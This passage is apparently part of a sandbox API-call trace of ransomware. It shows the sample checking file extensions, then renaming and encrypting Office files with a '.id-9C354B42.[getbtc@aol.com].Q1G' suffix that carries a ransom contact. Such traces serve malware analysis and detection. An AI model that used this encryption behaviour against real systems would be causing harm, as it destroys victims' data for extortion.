Shared\\ink\\ipsita.xml") returned 61 [0039.227] lstrlenW (lpString=".1cd") returned 4 [0039.227] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0039.227] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipsita.xml") returned 61 [0039.227] lstrlenW (lpString=".jpg") returned 4 [0039.227] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0039.227] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipsita.xml") returned 61 [0039.227] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipsita.xml") returned 61 [0039.227] lstrlenW (lpString=".doc") returned 4 [0039.227] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0039.227] lstrlenW (lpString=".docx") returned 5 [0039.227] lstrcmpiW (lpString1=".docx", lpString2="a.xml") returned -1 [0039.227] lstrlenW (lpString=".pdf") returned 4 [0039.227] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0039.227] lstrlenW (lpString=".xls") returned 4 [0039.227] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0039.227] lstrlenW (lpString=".xlsx") returned 5 [0039.227] lstrcmpiW (lpString1=".xlsx", lpString2="a.xml") returned -1 [0039.227] lstrlenW (lpString=".ppt") returned 4 [0039.227] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0039.227] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipsita.xml") returned 61 [0039.227] lstrlenW (lpString=".zip") returned 4 [0039.227] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0039.227] lstrlenW (lpString=".rar") returned 4 [0039.227] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0039.227] lstrlenW (lpString=".bz2") returned 4 [0039.227] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0039.227] lstrlenW (lpString=".7z") returned 3 [0039.227] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0039.227] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipsita.xml") returned 61 [0039.227] lstrlenW (lpString=".dbf") returned 4 [0039.227] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0039.227] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipsita.xml") returned 61 [0039.228] lstrlenW (lpString=".1cd") returned 4 [0039.228] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0039.228] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipsita.xml") returned 61 [0039.228] lstrlenW (lpString=".jpg") returned 4 [0039.228] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0039.228] lstrcmpiW (lpString1=".xml", lpString2=".Q1G") returned 1 [0039.228] lstrlenW (lpString="ipsjpn.xml") returned 10 [0039.228] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipsjpn.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipsjpn.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1a0 [0039.228] GetFileSizeEx (in: hFile=0x1a0, lpFileSize=0x2c7ff1c | out: lpFileSize=0x2c7ff1c*=2522) returned 1 [0039.228] CloseHandle (hObject=0x1a0) returned 1 [0039.228] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipsjpn.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipsjpn.xml")) returned 0x20 [0039.228] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipsjpn.xml.id-9C354B42.[getbtc@aol.com].Q1G" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipsjpn.xml.id-9c354b42.[getbtc@aol.com].q1g")) returned 0xffffffff [0039.228] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipsjpn.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipsjpn.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0039.228] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipsjpn.xml") returned 61 [0039.229] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipsjpn.xml") returned 61 [0039.229] lstrlenW (lpString=".doc") returned 4 [0039.229] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0039.229] lstrlenW (lpString=".docx") returned 5 [0039.229] lstrcmpiW (lpString1=".docx", lpString2="n.xml") returned -1 [0039.229] lstrlenW (lpString=".pdf") returned 4 [0039.229] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0039.229] lstrlenW (lpString=".xls") returned 4 [0039.229] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0039.229] lstrlenW (lpString=".xlsx") returned 5 [0039.229] lstrcmpiW (lpString1=".xlsx", lpString2="n.xml") returned -1 [0039.229] lstrlenW (lpString=".ppt") returned 4 [0039.229] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0039.229] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipsjpn.xml") returned 61 [0039.229] lstrlenW (lpString=".zip") returned 4 [0039.229] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0039.229] lstrlenW (lpString=".rar") returned 4 [0039.229] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0039.229] lstrlenW (lpString=".bz2") returned 4 [0039.229] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0039.229] lstrlenW (lpString=".7z") returned 3 [0039.229] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0039.229] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipsjpn.xml") returned 61 [0039.229] lstrlenW (lpString=".dbf") returned 4 [0039.229] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0039.229] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipsjpn.xml") returned 61 [0039.229] lstrlenW (lpString=".1cd") returned 4 [0039.229] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0039.229] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipsjpn.xml") returned 61 [0039.229] lstrlenW (lpString=".jpg") returned 4 [0039.229] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0039.229] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipsjpn.xml") returned 61 [0039.229] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipsjpn.xml") returned 61 [0039.229] lstrlenW (lpString=".doc") returned 4 [0039.229] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0039.229] lstrlenW (lpString=".docx") returned 5 [0039.230] lstrcmpiW (lpString1=".docx", lpString2="n.xml") returned -1 [0039.230] lstrlenW (lpString=".pdf") returned 4 [0039.230] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0039.230] lstrlenW (lpString=".xls") returned 4 [0039.230] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0039.230] lstrlenW (lpString=".xlsx") returned 5 [0039.230] lstrcmpiW (lpString1=".xlsx", lpString2="n.xml") returned -1 [0039.230] lstrlenW (lpString=".ppt") returned 4 [0039.230] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0039.230] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipsjpn.xml") returned 61 [0039.230] lstrlenW (lpString=".zip") returned 4 [0039.230] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0039.230] lstrlenW (lpString=".rar") returned 4 [0039.230] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0039.230] lstrlenW (lpString=".bz2") returned 4 [0039.230] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0039.230] lstrlenW (lpString=".7z") returned 3 [0039.230] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0039.230] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipsjpn.xml") returned 61 [0039.230] lstrlenW (lpString=".dbf") returned 4 [0039.230] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0039.230] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipsjpn.xml") returned 61 [0039.230] lstrlenW (lpString=".1cd") returned 4 [0039.230] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0039.230] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipsjpn.xml") returned 61 [0039.230] lstrlenW (lpString=".jpg") returned 4 [0039.230] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0039.230] lstrcmpiW (lpString1=".xml", lpString2=".Q1G") returned 1 [0039.230] lstrlenW (lpString="ipskor.xml") returned 10 [0039.230] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipskor.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipskor.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1a0 [0039.232] GetFileSizeEx (in: hFile=0x1a0, lpFileSize=0x2c7ff1c | out: lpFileSize=0x2c7ff1c*=2568) returned 1 [0039.232] CloseHandle (hObject=0x1a0) returned 1 [0039.232] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipskor.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipskor.xml")) returned 0x20 [0039.232] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipskor.xml.id-9C354B42.[getbtc@aol.com].Q1G" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipskor.xml.id-9c354b42.[getbtc@aol.com].q1g")) returned 0xffffffff [0039.232] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipskor.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipskor.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0039.232] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipskor.xml") returned 61 [0039.232] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipskor.xml") returned 61 [0039.232] lstrlenW (lpString=".doc") returned 4 [0039.232] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0039.232] lstrlenW (lpString=".docx") returned 5 [0039.232] lstrcmpiW (lpString1=".docx", lpString2="r.xml") returned -1 [0039.233] lstrlenW (lpString=".pdf") returned 4 [0039.233] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0039.233] lstrlenW (lpString=".xls") returned 4 [0039.233] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0039.233] lstrlenW (lpString=".xlsx") returned 5 [0039.233] lstrcmpiW (lpString1=".xlsx", lpString2="r.xml") returned -1 [0039.233] lstrlenW (lpString=".ppt") returned 4 [0039.233] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0039.233] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipskor.xml") returned 61 [0039.233] lstrlenW (lpString=".zip") returned 4 [0039.233] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0039.233] lstrlenW (lpString=".rar") returned 4 [0039.233] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0039.233] lstrlenW (lpString=".bz2") returned 4 [0039.233] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0039.233] lstrlenW (lpString=".7z") returned 3 [0039.233] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0039.233] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipskor.xml") returned 61 [0039.233] lstrlenW (lpString=".dbf") returned 4 [0039.233] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0039.233] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipskor.xml") returned 61 [0039.233] lstrlenW (lpString=".1cd") returned 4 [0039.233] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0039.233] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipskor.xml") returned 61 [0039.233] lstrlenW (lpString=".jpg") returned 4 [0039.233] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0039.233] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipskor.xml") returned 61 [0039.233] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipskor.xml") returned 61 [0039.233] lstrlenW (lpString=".doc") returned 4 [0039.234] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0039.234] lstrlenW (lpString=".docx") returned 5 [0039.234] lstrcmpiW (lpString1=".docx", lpString2="r.xml") returned -1 [0039.234] lstrlenW (lpString=".pdf") returned 4 [0039.234] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0039.234] lstrlenW (lpString=".xls") returned 4 [0039.234] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0039.234] lstrlenW (lpString=".xlsx") returned 5 [0039.234] lstrcmpiW (lpString1=".xlsx", lpString2="r.xml") returned -1 [0039.234] lstrlenW (lpString=".ppt") returned 4 [0039.234] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0039.234] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipskor.xml") returned 61 [0039.234] lstrlenW (lpString=".zip") returned 4 [0039.234] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0039.234] lstrlenW (lpString=".rar") returned 4 [0039.234] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0039.234] lstrlenW (lpString=".bz2") returned 4 [0039.234] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0039.234] lstrlenW (lpString=".7z") returned 3 [0039.234] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0039.234] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipskor.xml") returned 61 [0039.234] lstrlenW (lpString=".dbf") returned 4 [0039.234] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0039.234] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipskor.xml") returned 61 [0039.234] lstrlenW (lpString=".1cd") returned 4 [0039.234] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0039.234] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipskor.xml") returned 61 [0039.234] lstrlenW (lpString=".jpg") returned 4 [0039.234] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0039.234] lstrcmpiW (lpString1=".xml", lpString2=".Q1G") returned 1 [0039.234] lstrlenW (lpString="ipsnld.xml") returned 10 [0039.235] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipsnld.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipsnld.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1a0 [0039.235] GetFileSizeEx (in: hFile=0x1a0, lpFileSize=0x2c7ff1c | out: lpFileSize=0x2c7ff1c*=2626) returned 1 [0039.235] CloseHandle (hObject=0x1a0) returned 1 [0039.235] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipsnld.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipsnld.xml")) returned 0x20 [0039.235] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipsnld.xml.id-9C354B42.[getbtc@aol.com].Q1G" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipsnld.xml.id-9c354b42.[getbtc@aol.com].q1g")) returned 0xffffffff [0039.235] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipsnld.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipsnld.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0039.235] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipsnld.xml") returned 61 [0039.235] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipsnld.xml") returned 61 [0039.235] lstrlenW (lpString=".doc") returned 4 [0039.235] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0039.235] lstrlenW (lpString=".docx") returned 5 [0039.235] lstrcmpiW (lpString1=".docx", lpString2="d.xml") returned -1 [0039.235] lstrlenW (lpString=".pdf") returned 4 [0039.235] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0039.235] lstrlenW (lpString=".xls") returned 4 [0039.235] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0039.235] lstrlenW (lpString=".xlsx") returned 5 [0039.235] lstrcmpiW (lpString1=".xlsx", lpString2="d.xml") returned -1 [0039.235] lstrlenW (lpString=".ppt") returned 4 [0039.236] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0039.236] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipsnld.xml") returned 61 [0039.236] lstrlenW (lpString=".zip") returned 4 [0039.236] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0039.236] lstrlenW (lpString=".rar") returned 4 [0039.236] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0039.236] lstrlenW (lpString=".bz2") returned 4 [0039.236] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0039.236] lstrlenW (lpString=".7z") returned 3 [0039.236] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0039.236] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipsnld.xml") returned 61 [0039.236] lstrlenW (lpString=".dbf") returned 4 [0039.236] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0039.241] MoveFileW (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\ADO210.CHM" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\1033\\ado210.chm"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\ADO210.CHM.id-9C354B42.[getbtc@aol.com].Q1G" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\1033\\ado210.chm.id-9c354b42.[getbtc@aol.com].q1g")) returned 1 [0039.242] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\ADO210.CHM.id-9C354B42.[getbtc@aol.com].Q1G" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\1033\\ado210.chm.id-9c354b42.[getbtc@aol.com].q1g"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1a0 [0039.242] SetFilePointerEx (in: hFile=0x1a0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c7fc6c | out: lpNewFilePointer=0x0) returned 1 [0039.242] SetFilePointerEx (in: hFile=0x1a0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c7fc2c | out: lpNewFilePointer=0x0) returned 1 [0039.242] ReadFile (in: hFile=0x1a0, lpBuffer=0x34e0058, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x2c7fc38, lpOverlapped=0x0 | out: lpBuffer=0x34e0058*, lpNumberOfBytesRead=0x2c7fc38*=0x40000, lpOverlapped=0x0) returned 1 [0039.247] SetFilePointerEx (in: hFile=0x1a0, liDistanceToMove=0x88bff, lpNewFilePointer=0x0, dwMoveMethod=0x2c7fc2c | out: lpNewFilePointer=0x0) returned 1 [0039.247] ReadFile (in: hFile=0x1a0, lpBuffer=0x3520058, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x2c7fc38, lpOverlapped=0x0 | out: lpBuffer=0x3520058*, lpNumberOfBytesRead=0x2c7fc38*=0x40000, lpOverlapped=0x0) returned 1 [0039.250] SetFilePointerEx (in: hFile=0x1a0, liDistanceToMove=0xfffc0000, lpNewFilePointer=0xffffffff, dwMoveMethod=0x2c7fc6c | out: lpNewFilePointer=0xffffffff) returned 1 [0039.250] SetFilePointerEx (in: hFile=0x1a0, liDistanceToMove=0x15a3ff, lpNewFilePointer=0x0, dwMoveMethod=0x2c7fc2c | out: lpNewFilePointer=0x0) returned 1 [0039.250] ReadFile (in: hFile=0x1a0, lpBuffer=0x3560058, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x2c7fc38, lpOverlapped=0x0 | out: lpBuffer=0x3560058*, lpNumberOfBytesRead=0x2c7fc38*=0x40000, lpOverlapped=0x0) returned 1 [0039.407] SetFilePointerEx (in: hFile=0x1a0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c7fec8 | out: lpNewFilePointer=0x0) returned 1 [0039.407] WriteFile (in: hFile=0x1a0, lpBuffer=0x34e0020*, nNumberOfBytesToWrite=0xc0100, lpNumberOfBytesWritten=0x2c7fcb0, lpOverlapped=0x0 | out: lpBuffer=0x34e0020*, lpNumberOfBytesWritten=0x2c7fcb0*=0xc0100, lpOverlapped=0x0) returned 1 [0039.649] SetEndOfFile (hFile=0x1a0) returned 1 [0039.649] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x0, Size=0x40000) returned 0x3fa50c0 [0039.652] SetFilePointerEx (in: hFile=0x1a0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c7fc7c | out: lpNewFilePointer=0x0) returned 1 [0039.652] WriteFile (in: hFile=0x1a0, lpBuffer=0x3fa50c0*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x2c7fc88, lpOverlapped=0x0 | out: lpBuffer=0x3fa50c0*, lpNumberOfBytesWritten=0x2c7fc88*=0x40000, lpOverlapped=0x0) returned 1 [0039.654] SetFilePointerEx (in: hFile=0x1a0, liDistanceToMove=0x88bff, lpNewFilePointer=0x0, dwMoveMethod=0x2c7fc7c | out: lpNewFilePointer=0x0) returned 1 [0039.654] WriteFile (in: hFile=0x1a0, lpBuffer=0x3fa50c0*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x2c7fc88, lpOverlapped=0x0 | out: lpBuffer=0x3fa50c0*, lpNumberOfBytesWritten=0x2c7fc88*=0x40000, lpOverlapped=0x0) returned 1 [0039.656] SetFilePointerEx (in: hFile=0x1a0, liDistanceToMove=0x15a3ff, lpNewFilePointer=0x0, dwMoveMethod=0x2c7fc7c | out: lpNewFilePointer=0x0) returned 1 [0039.656] WriteFile (in: hFile=0x1a0, lpBuffer=0x3fa50c0*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x2c7fc88, lpOverlapped=0x0 | out: lpBuffer=0x3fa50c0*, lpNumberOfBytesWritten=0x2c7fc88*=0x40000, lpOverlapped=0x0) returned 1 [0039.658] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x3fa50c0 | out: hHeap=0x510000) returned 1 [0039.658] CloseHandle (hObject=0x1a0) returned 1 [0040.810] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\ADO210.CHM.id-9C354B42.[getbtc@aol.com].Q1G", dwFileAttributes=0x20) returned 1 [0040.810] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\ADO210.CHM") returned 71 [0040.810] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\ADO210.CHM") returned 71 [0040.810] lstrlenW (lpString=".doc") returned 4 [0040.810] lstrcmpiW (lpString1=".doc", lpString2=".CHM") returned 1 [0040.810] lstrlenW (lpString=".docx") returned 5 [0040.810] lstrcmpiW (lpString1=".docx", lpString2="0.CHM") returned -1 [0040.810] lstrlenW (lpString=".pdf") returned 4 [0040.810] lstrcmpiW (lpString1=".pdf", lpString2=".CHM") returned 1 [0040.810] lstrlenW (lpString=".xls") returned 4 [0040.810] lstrcmpiW (lpString1=".xls", lpString2=".CHM") returned 1 [0040.810] lstrlenW (lpString=".xlsx") returned 5 [0040.810] lstrcmpiW (lpString1=".xlsx", lpString2="0.CHM") returned -1 [0040.810] lstrlenW (lpString=".ppt") returned 4 [0040.810] lstrcmpiW (lpString1=".ppt", lpString2=".CHM") returned 1 [0040.811] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\ADO210.CHM") returned 71 [0040.811] lstrlenW (lpString=".zip") returned 4 [0040.811] lstrcmpiW (lpString1=".zip", lpString2=".CHM") returned 1 [0040.811] lstrlenW (lpString=".rar") returned 4 [0040.811] lstrcmpiW (lpString1=".rar", lpString2=".CHM") returned 1 [0040.811] lstrlenW (lpString=".bz2") returned 4 [0040.811] lstrcmpiW (lpString1=".bz2", lpString2=".CHM") returned -1 [0040.811] lstrlenW (lpString=".7z") returned 3 [0040.811] lstrcmpiW (lpString1=".7z", lpString2="CHM") returned -1 [0040.811] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\ADO210.CHM") returned 71 [0040.811] lstrlenW (lpString=".dbf") returned 4 [0040.811] lstrcmpiW (lpString1=".dbf", lpString2=".CHM") returned 1 [0040.811] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\ADO210.CHM") returned 71 [0040.811] lstrlenW (lpString=".1cd") returned 4 [0040.811] lstrcmpiW (lpString1=".1cd", lpString2=".CHM") returned -1 [0040.811] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\ADO210.CHM") returned 71 [0040.811] lstrlenW (lpString=".jpg") returned 4 [0040.811] lstrcmpiW (lpString1=".jpg", lpString2=".CHM") returned 1 [0040.811] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\ADO210.CHM") returned 71 [0040.811] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\ADO210.CHM") returned 71 [0040.811] lstrlenW (lpString=".doc") returned 4 [0040.811] lstrcmpiW (lpString1=".doc", lpString2=".CHM") returned 1 [0040.811] lstrlenW (lpString=".docx") returned 5 [0040.811] lstrcmpiW (lpString1=".docx", lpString2="0.CHM") returned -1 [0040.811] lstrlenW (lpString=".pdf") returned 4 [0040.811] lstrcmpiW (lpString1=".pdf", lpString2=".CHM") returned 1 [0040.811] lstrlenW (lpString=".xls") returned 4 [0040.811] lstrcmpiW (lpString1=".xls", lpString2=".CHM") returned 1 [0040.811] lstrlenW (lpString=".xlsx") returned 5 [0040.811] lstrcmpiW (lpString1=".xlsx", lpString2="0.CHM") returned -1 [0040.811] lstrlenW (lpString=".ppt") returned 4 [0040.811] lstrcmpiW (lpString1=".ppt", lpString2=".CHM") returned 1 [0040.811] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\ADO210.CHM") returned 71 [0040.811] lstrlenW (lpString=".zip") returned 4 [0040.812] lstrcmpiW (lpString1=".zip", lpString2=".CHM") returned 1 [0040.812] lstrlenW (lpString=".rar") returned 4 [0040.812] lstrcmpiW (lpString1=".rar", lpString2=".CHM") returned 1 [0040.812] lstrlenW (lpString=".bz2") returned 4 [0040.812] lstrcmpiW (lpString1=".bz2", lpString2=".CHM") returned -1 [0040.812] lstrlenW (lpString=".7z") returned 3 [0040.812] lstrcmpiW (lpString1=".7z", lpString2="CHM") returned -1 [0040.812] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\ADO210.CHM") returned 71 [0040.812] lstrlenW (lpString=".dbf") returned 4 [0040.812] lstrcmpiW (lpString1=".dbf", lpString2=".CHM") returned 1 [0040.812] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\ADO210.CHM") returned 71 [0040.812] lstrlenW (lpString=".1cd") returned 4 [0040.812] lstrcmpiW (lpString1=".1cd", lpString2=".CHM") returned -1 [0040.812] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\ADO210.CHM") returned 71 [0040.812] lstrlenW (lpString=".jpg") returned 4 